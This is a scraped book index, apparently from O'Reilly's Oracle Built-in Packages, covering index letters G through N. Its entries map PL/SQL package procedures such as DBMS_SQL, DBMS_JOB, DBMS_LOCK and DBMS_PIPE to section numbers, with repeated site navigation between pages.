GET_RAW_ARG function : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
GET_ROWID_ARG function : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
GET_TIME function
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.14. The DBMS_UTILITY.GET_TIME function
GET_VARCHAR2_ARG function : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
GETLENGTH function
8.1.1. DBMS_LOB Programs
8.3.2.2. The DBMS_LOB.GETLENGTH function
getlines.tst : 6.1.4.2. The DBMS_OUTPUT.GET_LINES procedure
getnext.sp : 6.2.7.1. Enhancing UTL_FILE.GET_LINE
GRANT_ADMIN_ANY_REPGROUP procedure
15.2.1.1. DBMS_REPCAT_ADMIN programs
15.2.2.3. The DBMS_REPCAT_ADMIN.GRANT_ADMIN_ANY_REPGROUP procedure
GRANT_ADMIN_ANY_REPSCHEMA procedure : 15.2.1.1. DBMS_REPCAT_ADMIN programs
GRANT_ADMIN_REPGROUP procedure
15.2.1.1. DBMS_REPCAT_ADMIN programs
15.2.2.1. The DBMS_REPCAT_ADMIN.GRANT_ADMIN_REPGROUP procedure
GRANT_ADMIN_REPSCHEMA procedure : 15.2.1.1. DBMS_REPCAT_ADMIN programs
GRANT_SURROGATE_REPCAT procedure
15.1.1.1. DBMS_REPCAT_AUTH programs
15.1.2.1. The DBMS_REPCAT_AUTH.GRANT_SURROGATE_REPCAT procedure
GRANT_TYPE_ACCESS procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.1.1. The DBMS_AQADM.GRANT_TYPE_ACCESS procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: H

hashdemo.sp : 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function
hashing
example : 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function
generating values : 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function
hashval function : 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function
hasout function : 10.2.3.2. Using psdesc.args as a quality assurance tool
hasout.sf : 10.2.3.2. Using psdesc.args as a quality assurance tool
hasout.tst : 10.2.3.2. Using psdesc.args as a quality assurance tool
hex-to/from-raw conversions : 9.2.2.1. Conversion and coercion
host variables
binding
2.3.1. Processing Flow of Dynamic SQL
2.3.4. Binding Values into Dynamic SQL
arrays : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
concatenation versus
2.3.4. Binding Values into Dynamic SQL
2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
dynamic SQL blocks and : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
scalar values : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
syntax for : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: I

I/O errors : 6.2.6.1. Handling file I/O errors
I_AM_A_REFRESH function
14.1.1. Getting Started with DBMS_SNAPSHOT
14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function
identifiers : (see object names)
il2tab2.sp : 6.2.7.1. Enhancing UTL_FILE.GET_LINE
immediate execution : 2.3.3.1. The DBMS_SQL.PARSE procedure
immediate fetching : 2.3.7.2. The DBMS_SQL.EXECUTE_AND_FETCH function
import/export : (see master sites, instantiation)
in-doubt transactions
advice about : 4.2.2. Advising Oracle About In-Doubt Transactions
commitment : 4.2.3.2. The DBMS_TRANSACTION.COMMIT_COMMENT procedure
purging : 4.2.6.1. The DBMS_TRANSACTION.PURGE_MIXED procedure
rollback : 4.2.4.2. The DBMS_TRANSACTION.ROLLBACK_FORCE procedure
inclusive or : (see OR bit operation)
index-by tables
array processing and
2.2.6. DBMS_SQL Nonprogram Elements
2.5.6. Array Processing with DBMS_SQL
copying : 2.5.6.5. Using array processing in dynamic PL/SQL
dynamic SQL blocks and : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
indexes
space utilization : 12.1. DBMS_SPACE: Obtaining Space Information
indirect referencing (example) : 2.5.5. Indirect Referencing in PL/SQL
init_info procedure : 10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure
initcur procedure : 2.4.4. Minimizing Memory for Cursors
initialization parameters, returning : 10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function
INITIALIZE procedure : 10.4.2.1. The DBMS_RANDOM.INITIALIZE procedure
insert conflicts
(see also uniqueness conflicts)
16. Conflict Resolution
INSERT statements
multiple-row inserts : 2.5.6.1. Using array processing to insert
single-row RETURNING clause : 2.5.7.1. RETURNING from a single-row insert
insret.sp : 2.5.7.1. RETURNING from a single-row insert
instantiation : (see master sites, instantiation; snapshots, instantiation)
Institute for Study Conduction : 1.3.5. Encapsulating Access to the Built-in Packages
INSTR function
8.1.1. DBMS_LOB Programs
8.3.2.5. The DBMS_LOB.INSTR function
intab procedure : 2.5.4.1. The "in table" procedural interface
intab.sp : 2.5.4.8. Full text of intab procedure
internal LOBs
8.2.1.1. Internal and external LOBs
8.2.1.6. The LOB locator
8.2.3. Internal LOB Considerations
internationalization : (see National Language Support)
intersession communication : 3. Intersession Communication
problems using databases for : 3.1. DBMS_PIPE: Communicating Between Sessions
interval parameter (job scheduling) : 13.1.2.4. The interval parameter
INTERVAL procedure
13.1.1. DBMS_JOB Programs
13.2.6.2. The DBMS_JOB.INTERVAL procedure
intval function : 10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function
invalids.sql : 15.3.4.3. The DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER procedure
IS_OPEN function (DBMS_SQL package)
2.2.3. DBMS_SQL Programs
2.3.2.2. The DBMS_SQL.IS_OPEN function
IS_OPEN function (UTL_FILE)
6.2.1.1. UTL_FILE programs
6.2.2.2. The UTL_FILE.IS_OPEN function
tips about : 6.2.6.5. You closed what?
IS_PARALLEL_SERVER function
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.15. The DBMS_UTILITY.IS_PARALLEL_SERVER function
IS_ROLE_ENABLED function
11.1.1.1. DBMS_SESSION programs
11.1.3.1. The DBMS_SESSION.IS_ROLE_ENABLED function
ISUBMIT procedure
13.1.1. DBMS_JOB Programs
13.2.5.2. The DBMS_JOB.ISUBMIT procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: J

job numbers
13.1.2.1. The job parameter
13.2.5.1. The DBMS_JOB.SUBMIT procedure
13.2.5.2. The DBMS_JOB.ISUBMIT procedure
export/import utilities and : 13.2.3. Miscellaneous Notes
job parameter : 13.1.2.1. The job parameter
job queue
(see also job scheduling)
13. Job Scheduling in the Database
architecture : 13.2. Job Queue Architecture
INIT.ORA parameters : 13.2.1. INIT.ORA Parameters and Background Processes
number of processes : 13.2.1.1. JOB_QUEUE_PROCESSES
job scheduling
(see also job queue)
13. Job Scheduling in the Database
broken jobs
fixing automatically : 13.4.2. Fixing Broken Jobs Automatically
setting/unsetting flag : 13.2.7.2. The DBMS_JOB.BROKEN procedure
changing job characteristics : 13.2.6. Modifying Job Characteristics
commitment and
13.2.5.1. The DBMS_JOB.SUBMIT procedure
13.2.7.3. The DBMS_JOB.RUN procedure
data dictionary views : 13.3.2. Viewing Job Information in the Data Dictionary
database links and
13.1.2.2. The what parameter
13.2.2. Job Execution and the Job Execution Environment
definition parameters : 13.1.2. Job Definition Parameters
executing jobs : 13.2.7.3. The DBMS_JOB.RUN procedure
exporting jobs : 13.2.8.1. The DBMS_JOB.USER_EXPORT procedure
interval between executions : 13.1.2.4. The interval parameter
changing
13.2.6.1. The DBMS_JOB.CHANGE procedure
13.2.6.2. The DBMS_JOB.INTERVAL procedure
date arithmetic and : 13.3.1. Job Intervals and Date Arithmetic
interval for checking queue : 13.2.1.2. JOB_QUEUE_INTERVAL
managing other users' jobs : 13.3.3. DBMS_IJOB: Managing Other Users' Jobs
National Language Support and
13.2.2. Job Execution and the Job Execution Environment
13.2.6.1. The DBMS_JOB.CHANGE procedure
13.2.6.4. The DBMS_JOB.WHAT procedure
numbers for : (see job numbers)
Oracle Parallel Server and : 13.2.3. Miscellaneous Notes
removing jobs : 13.2.7.1. The DBMS_JOB.REMOVE procedure
retaining connections : 13.2.1.3. JOB_QUEUE_KEEP_CONNECTIONS
roles and : 13.2.2. Job Execution and the Job Execution Environment
self-modifying jobs : 13.4.3. Self-Modifying and Self-Aware Jobs
session settings and : 13.1.2.2. The what parameter
stored procedure wrapping : 13.1.2.2. The what parameter
submitting jobs : 13.2.5.1. The DBMS_JOB.SUBMIT procedure
time of execution : 13.1.2.3. The next_date parameter
changing
13.2.6.1. The DBMS_JOB.CHANGE procedure
13.2.6.3. The DBMS_JOB.NEXT_DATE procedure
datatype inconsistency : 13.2.5.2. The DBMS_JOB.ISUBMIT procedure
Trusted Oracle and : 13.2.2. Job Execution and the Job Execution Environment
what is executed : 13.1.2.2. The what parameter
changing
13.2.6.4. The DBMS_JOB.WHAT procedure 13.2.6.1. The DBMS_JOB.CHANGE procedure
job1.sql : 13.2.8.1. The DBMS_JOB.USER_EXPORT procedure
job2.sql : 13.3.2. Viewing Job Information in the Data Dictionary
job3.sql : 13.3.3. DBMS_IJOB: Managing Other Users' Jobs
job4.sql : 13.4.3. Self-Modifying and Self-Aware Jobs
job5.sql : 13.4.2. Fixing Broken Jobs Automatically
job6.sql : 13.4.1. Tracking Space in Tablespaces
job_fixer procedure : 13.4.2. Fixing Broken Jobs Automatically
JOB_QUEUE_INTERVAL parameter : 13.2.1.2. JOB_QUEUE_INTERVAL
JOB_QUEUE_KEEP_CONNECTIONS parameter : 13.2.1.3. JOB_QUEUE_KEEP_CONNECTIONS
JOB_QUEUE_PROCESSES parameter : 13.2.1.1. JOB_QUEUE_PROCESSES
jobs.sql : 17.2.5.3. The DBMS_DEFER_SYS.SCHEDULE_EXECUTION procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: K

KEEP procedure : 12.2.2.1. The DBMS_SHARED_POOL.KEEP procedure
keeper.sql : 12.2.4.1. Pinning packages automatically
keeptst.sql : 12.2.4.1. Pinning packages automatically

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: L

l procedure (PL/Vision) : 6.1.6.1. Encapsulating DBMS_OUTPUT
language (NLS), setting : 11.1.2.3. The DBMS_SESSION.SET_NLS procedure
language version (SQL statement parsing) : 2.2.6. DBMS_SQL Nonprogram Elements
large objects : (see LOBs)
last-in, first-out queues : (see stacks)
LAST_ERROR_POSITION function
2.2.3. DBMS_SQL Programs
2.3.10.1. The DBMS_SQL.LAST_ERROR_POSITION function
SQLERRM and : 2.3.10.1. The DBMS_SQL.LAST_ERROR_POSITION function
LAST_ROW_COUNT function
2.2.3. DBMS_SQL Programs
2.3.10.2. The DBMS_SQL.LAST_ROW_COUNT function
LAST_ROW_ID function
2.2.3. DBMS_SQL Programs
2.3.10.3. The DBMS_SQL.LAST_ROW_ID function
LAST_SQL_FUNCTION_CODE function
2.2.3. DBMS_SQL Programs
2.3.10.4. The DBMS_SQL.LAST_SQL_FUNCTION_CODE function
layaway package
(see also specific program names)
5.7.5. Searching by Correlation Identifier
LENGTH function : 9.2.3.11. The UTL_RAW.LENGTH function
level (in DESCRIBE_PROCEDURE) : 10.2.2.2. The DESCRIBE level
line_with_text function : 6.2.7.4. Searching a file for a string
linetext.sf : 6.2.7.4. Searching a file for a string
links.sql : 15.3.5.1. The DBMS_REPCAT.ADD_MASTER_DATABASE procedure
ln procedure : 6.1.6.2. Package specification for a DBMS_OUTPUT encapsulator
load_my_session_rec procedure
11.1.5.1. Adding value to DBMS_SESSION
11.1.5.3. The load_my_session_rec procedure
load_unique_id procedure
11.1.5.1. Adding value to DBMS_SESSION
11.1.5.2. The unique_id function
load_unused procedure : 12.1.3.1. The segspace package
LOADFROMFILE procedure
8.1.1. DBMS_LOB Programs
8.3.1.7. The DBMS_LOB.LOADFROMFILE procedure
LOB columns : (see LOBs, locators)
LOB variables : (see LOBs, locators)
lobfuncs.ddl : 8.1.4. About the Examples
LOBs
(see also DBMS_LOB package)
8. Managing Large Objects
appending : 8.3.3.1. The DBMS_LOB.APPEND procedure
BFILES : (see BFILEs)
BLOBs : 8.2.1. LOB Datatypes
CLOBs
8.2.1. LOB Datatypes
8.2.1.4. The CLOB datatype
comparing : 8.3.2.1. The DBMS_LOB.COMPARE function
concepts : 8.2. LOB Concepts
copying : 8.3.3.2. The DBMS_LOB.COPY procedure
cursors and : 8.2.1.1. Internal and external LOBs
datatypes : 8.2.1. LOB Datatypes
emptying columns : 8.2.3.4. NULL versus "empty" LOB locators
erasing : 8.3.3.3. The DBMS_LOB.ERASE procedure
external
8.2.1.1. Internal and external LOBs
8.2.1.6. The LOB locator
internal
8.2.1.1. Internal and external LOBs
8.2.1.6. The LOB locator
8.2.3. Internal LOB Considerations
length of : 8.3.2.2. The DBMS_LOB.GETLENGTH function
locators : 8.2.1.6. The LOB locator
NCLOBs
8.2.1. LOB Datatypes
8.2.1.5. The NCLOB datatype
NULL data and locators : 8.2.3.3. NULL LOB locators can be a problem
pattern matching : 8.3.2.5. The DBMS_LOB.INSTR function
performance improvement using RETURNING clause : 8.2.3.2. The RETURNING clause
queue storage and : 5.3.3. Queue Type Names
reading : 8.3.2. Reading and Examining LOBs
substrings of : 8.3.2.4. The DBMS_LOB.SUBSTR function
transactions and : 8.2.1.1. Internal and external LOBs
trimming : 8.3.3.4. The DBMS_LOB.TRIM procedure
writing : 8.3.3. Updating BLOBs, CLOBs, and NCLOBs
lobtabs.ddl : 8.1.4. About the Examples
LOCAL_TRANSACTION_ID function
4.2.1.1. DBMS_TRANSACTION programs
4.2.7.1. The DBMS_TRANSACTION.LOCAL_TRANSACTION_ID function
lock identifiers : 4.1.2.2. The DBMS_LOCK.REQUEST function
lock modes
compatibility rules : 4.1.1.3. Lock compatibility rules
converting modes : 4.1.2.3. The DBMS_LOCK.CONVERT function
lock names : (see named locks)
lock1.sql : 4.1.3.3. Performance of named locks
LOCK_OBJECT procedure : 9.2.5.2. The UTL_REF.LOCK_OBJECT procedure
lockhandle function : 4.1.4.1. The dblock package
lockhandles, returning : 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure
locks
alert signaling and : 3.2.2.5. The DBMS_ALERT.SIGNAL procedure
allocating : 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure
BFILE loading and : 8.3.1.7. The DBMS_LOB.LOADFROMFILE procedure
commitment : (see commitment, locks)
converting versus requesting : 4.1.3.6. REQUEST or CONVERT?
DDL statement execution and : 2.4.7. Executing DDL in PL/SQL
deadlock notification : 4.1.2.2. The DBMS_LOCK.REQUEST function
dequeuing and : 5.3.8. Dequeue Options Record Type
handles for : 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure
identifiers for : 4.1.2.2. The DBMS_LOCK.REQUEST function
modes : (see lock modes)
named locks : (see named locks)
object locking : 9.2.5.2. The UTL_REF.LOCK_OBJECT procedure
persistence of : 4.1.2.2. The DBMS_LOCK.REQUEST function
releasing : 4.1.2.4. The DBMS_LOCK.RELEASE function
distributed databases and : 4.1.2.2. The DBMS_LOCK.REQUEST function
multithreaded server environments and : 4.1.2.2. The DBMS_LOCK.REQUEST function
requesting : 4.1.2.2. The DBMS_LOCK.REQUEST function
signaling service availability (example) : 4.1.4.2. Using locks to signal service availability
suspending sessions : 4.1.2.5. The DBMS_LOCK.SLEEP procedure
triggers and
4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure
4.1.3.4. ALLOCATE_UNIQUE drawbacks
view for : 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure
logical unit of work, registering : 7.2.3. The DBMS_APPLICATION_INFO.SET_ACTION procedure
long SQL statements, parsing
2.2.6. DBMS_SQL Nonprogram Elements
2.3.3.2. Parsing very long SQL statements
LONG values
retrieving : 2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure
static SELECT versus : 2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure
long-running operations
7.1.3. DBMS_APPLICATION_INFO Nonprogram Elements
7.2.6. The DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS procedure
7.3.9. Tracking Long-Running Processes
longops package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
7.3.9. Tracking Long-Running Processes
longops.sql : 7.3.9. Tracking Long-Running Processes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: M

mailboxes : (see message buffers)
major_pkg package
(see also specific program names)
5.7.8. Working with Multiple Consumers
MAKE procedure
14.2.1. Getting Started with DBMS_REFRESH
14.2.2.1. The DBMS_REFRESH.MAKE procedure
MAKE_COLUMN_GROUP procedure
16.1.1. DBMS_REPCAT Programs
16.2.2.3. The DBMS_REPCAT.MAKE_COLUMN_GROUP procedure
MAKE_DATA_BLOCK_ADDRESS function
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.16. The DBMS_UTILITY.MAKE_DATA_BLOCK_ADDRESS function
make_payment procedure : 5.7.5. Searching by Correlation Identifier
makepipe function : 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
mark_for_sale procedure : 5.7.6. Using Time Delay and Expiration
master databases : (see master sites)
master definition site : 15.3.2.1. The DBMS_REPCAT.CREATE_MASTER_REPGROUP procedure
concepts : 15.3.5. Adding and Removing Master Sites with DBMS_REPCAT
relocating : 15.3.5.4. The DBMS_REPCAT.RELOCATE_MASTERDEF procedure
master sites
(see also master definition site; replicated and replication headings)
15.3.5.1. The DBMS_REPCAT.ADD_MASTER_DATABASE procedure
adding : 15.3.5.1. The DBMS_REPCAT.ADD_MASTER_DATABASE procedure
comments, adding or changing : 15.3.5.3. The DBMS_REPCAT.COMMENT_ON_REPSITES procedure
definition and concepts : 15.3.5. Adding and Removing Master Sites with DBMS_REPCAT
dropping replication groups and : 15.3.2.2. The DBMS_REPCAT.DROP_MASTER_REPGROUP procedure
instantiation : 15.4. DBMS_OFFLINE_OG: Performing Site Instantiation
beginning import : 15.4.2.2. The DBMS_OFFLINE_OG.BEGIN_LOAD procedure
beginning instantiation : 15.4.2.1. The DBMS_OFFLINE_OG.BEGIN_INSTANTIATION procedure
difference rectification versus : 15.5.2.2. The DBMS_RECTIFIER_DIFF.RECTIFY procedure
ending import : 15.4.2.4. The DBMS_OFFLINE_OG.END_LOAD procedure
ending instantiation : 15.4.2.3. The DBMS_OFFLINE_OG.END_INSTANTIATION procedure
process steps : 15.4.2.1. The DBMS_OFFLINE_OG.BEGIN_INSTANTIATION procedure
resuming replication activity : 15.4.2.5. The DBMS_OFFLINE_OG.RESUME_SUBSET_OF_MASTERS procedure
resynchronizing object identifiers : 15.3.8.1. The DBMS_REPCAT.REPCAT_IMPORT_CHECK procedure
remote destinations and : 17.1.1. About Remote Destinations
removing : 15.3.5.2. The DBMS_REPCAT.REMOVE_MASTER_DATABASES procedure
switching snapshot replication groups : 14.4.6.1. The DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER procedure
mastsnap.sql : 14.1.6.2. The DBMS_SNAPSHOT.UNREGISTER_SNAPSHOT procedures (Oracle8 only)
memory
cursor reuse and : 2.4.4. Minimizing Memory for Cursors
freeing user memory : 11.1.4.2. The DBMS_SESSION.FREE_UNUSED_USER_MEMORY procedure
resetting package variables and : 11.1.4.3. The DBMS_SESSION.RESET_PACKAGE procedure
measuring usage : 11.1.5.8. The memory procedure
tables and use of : 11.1.4.2. The DBMS_SESSION.FREE_UNUSED_USER_MEMORY procedure
memory procedure : 11.1.5.8. The memory procedure
message buffers
(see also DBMS_PIPE package; messages (pipes); pipes)
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure
3.1.2.1. Memory structures
compressed data in
3.1.4.2. The DBMS_PIPE.PACK_MESSAGE_RAW procedure
3.1.7.2. Exploring DBMS_PIPE
encrypted data in : 3.1.4.2. The DBMS_PIPE.PACK_MESSAGE_RAW procedure
exception handling and
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure
3.1.6.5. Using RESET_BUFFER
resetting
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure
3.1.6.5. Using RESET_BUFFER
message groups
5.1.2. Enqueue Features
5.1.5. A Glossary of Terms
dequeuing and : 5.4.2.6. Dequeuing with message grouping
example of use : 5.7.7. Working with Message Groups
message identifiers
5.1.5. A Glossary of Terms
5.3.7. Enqueue Options Record Type
5.3.8. Dequeue Options Record Type
message properties record type : 5.3.6. Message Properties Record Type
message queues : (see queues)
messages (AQ)
(see also queues)
5.1. Oracle AQ Concepts
5.1.5. A Glossary of Terms
broadcasting : (see broadcasting)
browsing
5.1.3. Dequeue Features
5.3.8. Dequeue Options Record Type
example : 5.7.4. Browsing a Queue's Contents
correlation identifiers : (see correlation identifiers)
data typing : 5.1.1. General Features
dequeuing : (see dequeuing)
enqueuing : (see enqueuing)
expiration time : 5.3.6. Message Properties Record Type
funneling in : 5.1.4. Propagation Features
groups : (see message groups)
identifiers
5.1.5. A Glossary of Terms
5.3.7. Enqueue Options Record Type
5.3.8. Dequeue Options Record Type
modifying properties of (example) : 5.4.1.2. Examples
next message received : 5.3.8. Dequeue Options Record Type
object types for : 5.3.3. Queue Type Names
obtaining information about (example) : 5.4.1.2. Examples
order of in queues
5.1.2. Enqueue Features
5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure
priority
5.3.6. Message Properties Record Type
5.4.2.5. Dequeue navigation
propagating : (see propagating messages)
retention of : 5.1.1. General Features
rollback and : 5.1.3. Dequeue Features
scheduling processing of : 5.1.2. Enqueue Features
states of : 5.3.6. Message Properties Record Type
statistics, views for : 5.6.2.4. The GV$AQ and V$AQ dynamic statistics views
tables and : 5.1.1. General Features
waiting for : 5.3.8. Dequeue Options Record Type
messages (pipes)
(see also DBMS_PIPE package; message buffers; pipes)
3.1.7.3. The dbpipe utility package
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
buffers for : (see message buffers)
data typing : 3.1.6.1. Defining message types and encapsulating communications logic
datatype values, returning : 3.1.4.7. The DBMS_PIPE.NEXT_ITEM_TYPE function
examining : 3.1.7.3. The dbpipe utility package
forwarding to another pipe : 3.1.7.3. The dbpipe utility package
logging : 3.1.7.4. Implementing a server program
packing : 3.1.4.1. The DBMS_PIPE.PACK_MESSAGE procedure
private pipes
3.1. DBMS_PIPE: Communicating Between Sessions
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
public pipes : 3.1. DBMS_PIPE: Communicating Between Sessions
receiving : 3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function
sending : 3.1.5.1. The DBMS_PIPE.SEND_MESSAGE function
relationship to unpacking : 3.1.7.2. Exploring DBMS_PIPE
separating for specific recipients : 3.1.6.2. Separating messages
unpacking : 3.1.4.4. The DBMS_PIPE.UNPACK_MESSAGE procedure
memory required for : 3.1.7.3. The dbpipe utility package
relationship to sending : 3.1.7.2. Exploring DBMS_PIPE
Method 4 : (see dynamic SQL, Method 4)
methods for dynamic SQL : 2.2.4. Types of Dynamic SQL
mode_name function : 5.7.4. Browsing a Queue's Contents
module names : (see program names)
module procedure : 7.3.1. About the register_app Package
modules : (see programs)
msgcount function : 5.7.1. Improving AQ Ease of Use
msgdata function : 5.7.1. Improving AQ Ease of Use
multiple consumers
5.1.2. Enqueue Features
5.1.5. A Glossary of Terms
example : 5.7.8. Working with Multiple Consumers
granting access
5.2.3. Authorizing Accounts to Use Oracle AQ
5.5.1.1. The DBMS_AQADM.GRANT_TYPE_ACCESS procedure
multiple rows : (see arrays)
multiple-character substitution (%) : 5.7.5.1. Wildcarded correlation identifiers
multithreaded server environments, releasing locks and : 4.1.2.2. The DBMS_LOCK.REQUEST function
my_session package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
11.1.5.1. Adding value to DBMS_SESSION
myfile package : 1.3.6.2. Handling exceptions in Oracle Developer/2000 Release 1
myfile.spp : 1.3.6.2. Handling exceptions in Oracle Developer/2000 Release 1
mysess.sql : 11.1.5.1. Adding value to DBMS_SESSION

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: N

NAME_RESOLVE procedure
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure
NAME_TOKENIZE procedure
2.5.4.3. Constructing the SELECT
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.18. The DBMS_UTILITY.NAME_TOKENIZE procedure
named locks : 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure
commitment and : 4.1.3.4. ALLOCATE_UNIQUE drawbacks
performance using
4.1.3.3. Performance of named locks
4.1.3.5. Optimizing named locks
named notation (=>) : 5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure
National Language Support (NLS)
character set conversion : 9.2.3.9. The UTL_RAW.CONVERT function
job scheduling and
13.2.2. Job Execution and the Job Execution Environment
13.2.6.1. The DBMS_JOB.CHANGE procedure
13.2.6.4. The DBMS_JOB.WHAT procedure
raw data and : 9.2. UTL_RAW: Manipulating Raw Data
setting characteristics : 11.1.2.3. The DBMS_SESSION.SET_NLS procedure
Natural Language Support : (see National Language Support)
navigation (dequeuing)
5.3.8. Dequeue Options Record Type
5.4.2.5. Dequeue navigation
NCHAR_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
NCLOB_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
NCLOBs
8.2.1. LOB Datatypes
8.2.1.5. The NCLOB datatype
nested variables, DBMS_SQL restrictions : 2.4.1. Some Restrictions
NEW_LINE procedure (DBMS_OUTPUT)
6.1.1.1. DBMS_OUTPUT programs
6.1.3.3. The DBMS_OUTPUT.NEW_LINE procedure
NEW_LINE procedure (UTL_FILE)
6.2.1.1. UTL_FILE programs
6.2.4.2. The UTL_FILE.NEW_LINE procedure
newline markers
6.1.3.2. The DBMS_OUTPUT.PUT_LINE procedure
6.2.4.2. The UTL_FILE.NEW_LINE procedure
next_date parameter (job scheduling) : 13.1.2.3. The next_date parameter
NEXT_DATE procedure
13.1.1. DBMS_JOB Programs
13.2.6.3. The DBMS_JOB.NEXT_DATE procedure
NEXT_ITEM_TYPE function
